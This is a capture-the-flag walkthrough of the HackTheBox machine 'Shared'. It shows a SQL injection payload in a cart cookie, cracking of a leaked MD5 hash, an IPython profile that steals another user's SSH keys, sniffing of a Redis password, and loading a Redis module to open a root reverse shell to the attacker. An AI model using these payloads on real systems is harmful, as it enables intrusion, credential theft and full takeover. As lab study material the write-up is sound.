Skip to content



Time to start with out typical Nmap scan:

└─$ sudo nmap -p- --min-rate 1000           
Starting Nmap 7.93 ( ) at 2022-11-03 11:30 EDT
Nmap scan report for
Host is up (0.054s latency).
Not shown: 65532 closed tcp ports (reset)
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 26.27 seconds
└─$ sudo nmap -sC -sV -p22,80,443
Starting Nmap 7.93 ( ) at 2022-11-03 11:31 EDT
Nmap scan report for
Host is up (0.055s latency).

22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 91e835f4695fc2e20e2746e2a6b6d865 (RSA)
|   256 cffcc45d84fb580bbe2dad35409dc351 (ECDSA)
|_  256 a3386d750964ed70cf17499adc126d11 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://shared.htb
443/tcp open  ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after:  2042-03-15T13:37:14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds

I will focus in the website for now, looks like both ports are hosting the same application and redirecting to HTTPS.

Web Application

According to a cookie name I saw this looks like a Prestashop application. I tested the page a bit and trying to buy something I found what looks like a virtual host: checkout.shared.htb. The checkout page was pretty useless and not doing nothing really.

At this point I will run both a directory scan and a virtual host scan. After a while, I did not find anything worth mentioning. The only thing is that I found where to create a client account and that the API in /api was disabled. Luckily, I saw something interesting in the checkout.shared.htb application.

The cookie used to load the cart information into the checkout page has this format:


I tried to edit the product ID and I noticed that it is SQL injectable with something like:

{"HI' UNION SELECT 1,(SELECT group_concat(0x7c,schema_name,0x7c) from information_schema.schemata),3 -- - ":"1"}

That returned the name of the existing databases. From there, I wrote a little Python script to allow me to query the database easily and after a while I found a username and a password:

SELECT group_concat(0x7c,schema_name,0x7c) from information_schema.schemata

SELECT group_concat(0x7c,table_name,0x7c) from information_schema.tables where table_schema='checkout'

SELECT group_concat(0x7c,column_name,0x7c) from information_schema.columns where table_name='user'

select group_concat(0x7c,username,0x7c,0x7c,password,0x7c) from user

That looks like a MD5 hash so using the Rockyou dictionary and Jhon I cracked it:

└─$ john --format=raw-md5 --wordlist=/home/kali/Wordlists/rockyou.txt  hash                                      1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Soleil101        (?)     
1g 0:00:00:00 DONE (2022-11-03 13:44) 10.00g/s 20908Kp/s 20908Kc/s 20908KC/s Sportster1..SoccerBabe
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Using the user and the password obtained as SSH credentials (james_mason:Soleil101) I got access to the machine!

In the machine as james_mason

The first thing I noticed was that both Redis and MySQL were running as local services. This was more or less expected but good to know.

james_mason@shared:/var/www/shared.htb/ps$ netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0    *               LISTEN      -                   
tcp        0      0   *               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

Also got the credentials for the database from the Prestashop configuration files. I was able to extract the administrator password and email from it but no luck with the cracking process so moving on for now.

# /var/www/shared.htb/ps/app/config$ cat parameters.php 
<?php return array (
  'parameters' => 
  array (
    'database_host' => '',
    'database_port' => '',
    'database_name' => 'pshop',
    'database_user' => 'pshop',
    'database_password' => 'T*k#cbND_C*WrQ9h',
MariaDB [pshop]> select email,passwd from ps_employee;
| email            | passwd                                                       |
| admin@shared.htb | $2y$10$weantheqSfuC7PO4L/tlKefZ59DBBXR7cz5jixaYKyvv3PlPw0xgS |

At this point I found a weird directory /opt/scripts_review/. The user james_mason is part of the developer group that can modify the contents of this directory. Since there is another user in the machine according to the /etc/passwd file called dan_smith, my first guess was that this user was executing whatever shell script I put there. Obviously, I was wrong and my scripts just got deleted again and again.

Getting user

Using Pspy I saw something interesting:

2022/11/03 15:56:01 CMD: UID=1001 PID=7490   | /bin/sh -c /usr/bin/pkill ipython; cd /opt/
2022/11/03 15:56:01 CMD: UID=1001 PID=7491   | /usr/bin/pkill ipython 
2022/11/03 15:56:01 CMD: UID=1001 PID=7493   | /usr/bin/python3 /usr/local/bin/ipython 

As you can see, the user with UID 1001 (dan_smith) is actually doing some stuff in that folder. The thing is that is not really executing anything. I researched a bit about that ipython thing, looks like it is an interactive shell for Python and it is also used as the kernel for Jupyter. Diving into the documentation, I found something worth it:

Screenshot of the Ipython profiles documentation

Looks like profiles are used by ipython to load different configurations per project. This configuration files are just Python scripts that can run arbitraty code. According to the image above, I can put my own default profile in the working directory and ipython will happily use that instead of the one in the default location.

I procceded to take my own default profile and added these lines to the configuration file:

# profile_default/
import os

hostname = ""
response = os.system("ping -c 1 " + hostname)

After that, I just copied the directory to /opt/scripts_review/ and waited for the pings in my tcpdump output:

└─$ sudo tcpdump icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:54:52.355603 IP shared.htb > ICMP echo request, id 40114, seq 1, length 64
16:54:52.355629 IP > shared.htb: ICMP echo reply, id 40114, seq 1, length 64

Cool! We have code execution as dan_smith. I changed the code to be executed to something more interesting:

import os

response = os.system("cp -r ~/.ssh ~/tricked; chmod -R 777 ~/tricked")

This code will copy the .ssh directory of the user dan_smith and change its permissions to allow me to read it. After that, I can just take the dan_smith SSH key and connect to the machine as him.

Getting root

Again I found something interesting looking for files with the same groups as the user. In this case the group was sysadmin and the file was a binary:

dan_smith@shared:~$ /usr/local/bin/redis_connector_dev
[+] Logging to redis instance using password...

INFO command result:
# Server
os:Linux 5.10.0-16-amd64 x86_64

Remember the local Redis server? Well this program is connecting to it and pulling some information. Checking the Redis process I can see that it is running as root so I guess we found a possible privilege escalation vector.

dan_smith@shared:~$ ps -aux | grep redis
root       10802  0.2  0.7  65104 14624 ?        Ssl  17:39   0:00 /usr/bin/redis-server

In order to get the password, there are two options:

  • Reverse engineer the binary
  • Try to listen for the packages comming from the binary to the Redis service

Let's see both options, the first one is pretty straigh forward. Using IDA64 you can decompile the binary and then search for the string "Logging". Why is that? Well the binary output shows:

[+] Logging to redis instance using password...

When starting the connection to Redis, my guess is that the password value should be near that. As you can see that is the case:

Screenshot of the IDA64 output

The problem with this method is that, even though the password is there, it has some junk at the end and we would need some try and error in order to get into Redis.

Time for the second method! You will say, man how do you pretend to sniff traffic if you are not root in the other machine? Well my friend, good question! I downloaded to my machine the binary and using SSH I forwarded my port 6379 to the victim port 6379. This way I can just listen for packages in my own machine!

# Start port forwarding
└─$ ssh dan_smith@ -i id_rsa -NL 6379:

# Start TCP dump with a config to generate a pcap file
└─$ sudo tcpdump tcp -i lo -s 65535 -w redis.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes
14 packets captured
28 packets received by filter
0 packets dropped by kernel

# Launch the binary from my machine
└─$ ./redis_connector_dev                                      
[+] Logging to redis instance using password...

Checking the pcap file I got the password for the Redis server! F2WHqJUz2WEz=Gqq

Screenshot of the Wireshark output

Now the only thing left is to load a custom module into Redis to start executing system commands as root. The module I will use is this: n0b0dyCN/RedisModules-ExecuteCommand, just compile it with make in the attacker machine and move it to the victim. Now we can load it from Redis and the magic happens!

# In the victim machine
dan_smith@shared:~$ redis-cli -h> auth F2WHqJUz2WEz=Gqq
(empty array)> MODULE LOAD /home/dan_smith/
OK> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"> system.rev 8080

# In my machine
└─$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 49804
uid=0(root) gid=0(root) groups=0(root)

We are root! Grab the flag and call it a day!